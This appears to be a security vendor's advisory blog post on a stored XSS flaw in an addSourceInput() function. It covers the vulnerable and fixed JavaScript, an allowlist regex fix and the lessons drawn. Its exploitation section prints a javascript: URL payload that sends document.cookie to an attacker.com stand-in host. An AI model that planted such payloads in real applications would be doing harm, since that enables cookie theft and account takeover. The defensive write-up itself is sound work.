Back to Blog
critical SEVERITY4 min read

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

O
By Orbis AppSec
•Published October 1, 2026•Reviewed October 1, 2026

Answer Summary

The `addSourceInput()` API in the application's source configuration handler was vulnerable in all versions prior to the fix commit. An attacker could supply a `javascript:` URL through the `lxSource` input field that would execute in the victim's browser when the value was later used. The fix introduces `isSafeSourceUrl()` to validate URLs against `/^https?:\/\//i` before assignment, clearing malicious values to empty strings. CWE is unknown.

Vulnerability at a Glance

cweN/A
fixProtocol validation with /^https?:\/\//i regex before value assignment
riskStored JavaScript execution in browser context
languageJavaScript
root causeDirect assignment of unsanitized user input to input.value
vulnerabilityCross-site scripting (XSS) via javascript: URL injection

Affected Versions

Affected not applicable (first-party code) — all versions prior to fix commit
Fixed in not applicable (first-party code) — see fix commit
Ecosystem not applicable (first-party code)
CVE / GHSA not assigned
CWE unknown

Introduction

A stored cross-site scripting vector existed in the application's source list configuration handler, specifically within the addSourceInput() function responsible for building dynamic input rows. The function accepted a value parameter from saved configuration data and assigned it directly to input.value without validating the URL scheme. Because input.type = 'url' provides only advisory validation and JavaScript property assignment bypasses it entirely, javascript: URLs could persist through save/load cycles and execute when later triggered through user interaction or programmatic access.

The Vulnerability Explained

The vulnerable code pattern was straightforward but easily overlooked. The addSourceInput() function created a new input element and immediately assigned the provided value:

function addSourceInput(value = '') {
    const list = $('lx-source-list'); if (list.children.length >= 10) return;
    const row = document.createElement('div'); row.className = 'source-row';
    const input = document.createElement('input'); input.type = 'url'; input.placeholder = 'https://example.com/source.js'; input.value = value;

The critical line is input.value = value. The type = 'url' declaration creates a semantic hint for browsers and enables URL-pattern keyboard layouts, but it does not enforce protocol restrictions at the JavaScript level. Any string can be assigned to input.value, including javascript:alert(document.cookie)//http://evil.com.

Exploitation Scenario

An attacker with access to the source configuration interface could enter a payload like:

javascript:fetch('https://attacker.com/steal?c='+document.cookie)//https://example.com/legit.js

This value would be saved to the application's configuration store. When the source list was later rendered via renderSourceList(), the payload would be passed to addSourceInput() and assigned to input.value. If any downstream code accessed this input's value and used it in a context that executed JavaScript—such as assigning it to location.href, injecting it into an href attribute, or passing it to window.open()—the attacker's code would execute with full access to the page's origin, cookies, and DOM.

The //http://evil.com suffix is a comment trick that satisfies casual visual inspection, making the payload appear to be a legitimate HTTPS URL.

The Fix

The remediation introduces a dedicated validation helper and applies it at the assignment point:

function isSafeSourceUrl(value) { return value === '' || /^https?:\/\//i.test(value); }
function addSourceInput(value = '') {
    const list = $('lx-source-list'); if (list.children.length >= 10) return;
    const row = document.createElement('div'); row.className = 'source-row';
    const input = document.createElement('input'); input.type = 'url'; input.placeholder = 'https://example.com/source.js'; input.value = isSafeSourceUrl(value) ? value : '';

The isSafeSourceUrl() function enforces a strict allowlist: only empty strings and strings beginning with http:// or https:// (case-insensitive) are permitted. The ternary operator isSafeSourceUrl(value) ? value : '' ensures that any invalid URL—including javascript:, data:, vbscript:, and other dangerous schemes—is replaced with an empty string before reaching the DOM.

This approach was chosen over sanitization (stripping the scheme) because malformed or attacker-controlled URLs have no legitimate use in this context. Emptying the field provides clear visual feedback that the source was rejected.

Key Takeaways

  • input.type = 'url' is not a security boundary — it validates user typing in interactive browsers but imposes no restrictions on programmatic value assignment. Always validate URL schemes explicitly when accepting external data.

  • The javascript: protocol survives persistence layers — because the payload is a valid string, it passes through JSON serialization, database storage, and API responses unchanged. Validation must occur at every trust boundary, including client-side reconstruction.

  • Allowlist validation outperforms blocklisting — the fix uses /^https?:\/\//i rather than attempting to detect and remove javascript:. New attack schemes emerge regularly; an allowlist of known-safe protocols is more maintainable.

  • Source list interfaces are high-value targets — configuration panels that accept URLs for external resources are natural injection points. These often receive less scrutiny than primary input forms but frequently feed into security-sensitive operations like script loading or navigation.

How Orbis AppSec Detected This

Source: The value parameter of addSourceInput(), populated from saved configuration data passed through renderSourceList()

Sink: The input.value property assignment, which accepts arbitrary strings including javascript: URLs

Missing control: No validation of the URL scheme before DOM insertion; reliance on type="url" for security rather than semantic purposes

CWE: unknown

Fix: Added isSafeSourceUrl() helper with /^https?:\/\//i regex to enforce HTTP/HTTPS-only values, replacing invalid inputs with empty strings

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates how client-side URL inputs can become persistent XSS vectors when validation assumptions break down. The addSourceInput() function's direct assignment to input.value created a gap between the intended security model (HTTPS sources only) and the actual behavior (any string accepted). The isSafeSourceUrl() helper closes this gap with explicit protocol checking, ensuring that only legitimate web URLs enter the application's source configuration.

For developers maintaining similar dynamic form builders: inspect every value assignment to input elements, especially when data originates from storage rather than immediate user typing. The HTML5 validation API and the JavaScript property interface operate on different rules—security belongs in the latter.

Prevention and further reading

Frequently Asked Questions

Does the `isSafeSourceUrl()` helper allow FTP URLs in the `lxSource` field?

No. The regex `/^https?:\/\//i` explicitly requires HTTP or HTTPS schemes only; FTP, file://, and javascript: URLs are all rejected and replaced with empty strings.

Why was `input.type = 'url'` insufficient protection against the javascript: payload?

The HTML5 `type="url"` attribute only provides client-side validation hints and does not prevent JavaScript from assigning arbitrary strings to `input.value`, including `javascript:` URLs that bypass browser UI warnings.

What happens to existing saved sources that contain invalid URLs after this fix?

When `renderSourceList()` rebuilds the input list, each saved value passes through `isSafeSourceUrl()`; invalid URLs are silently replaced with empty strings, requiring users to re-enter valid HTTPS/HTTP sources.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1

Related Articles

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

high

Location Search XSS in index.html: Unsanitized Query Rendering

A location search feature in index.html rendered user-supplied search queries directly into the DOM without HTML entity encoding, allowing attackers to inject malicious JavaScript. The fix adds output encoding that converts dangerous characters (`&`, `<`, `>`, `"`, `'`) to their HTML entity equivalents before the query string reaches the page.

high

[ValidateInput(false)] on SettingsController.Index Enables Stored XSS

The `Index` POST action of the Power BI module's `SettingsController` was decorated with `[ValidateInput(false)]`, switching off ASP.NET MVC's built-in request validation for every form field bound to `SettingsModel`. Raw `<script>` markup could therefore be persisted into module settings and later rendered back to other users. The fix removes the attribute, restoring framework-level rejection of markup-bearing input on that action while leaving its `[ValidateAntiForgeryToken]` and edit-level au

high

innerHTML Injection in postAlert(): Glitch.me Data Renders Unsanitized

The `postAlert()` function fetched alert data from a Glitch.me endpoint and injected it directly into the DOM using `innerHTML`, enabling arbitrary JavaScript execution if that external source was compromised. The fix replaces the HTML string concatenation with safe DOM API methods: `document.createTextNode()` for content and `addEventListener()` for event handlers, eliminating the injection vector entirely.

critical

i18next-fs-backend 2.6.4 Prototype Pollution via Crafted Missing-Key

A critical prototype pollution vulnerability in i18next-fs-backend 2.6.4 allows attackers to modify Object.prototype through maliciously crafted translation key strings. The fix upgrades the package from 2.6.4 to 2.6.6, eliminating the unsafe key handling that permitted this attack vector.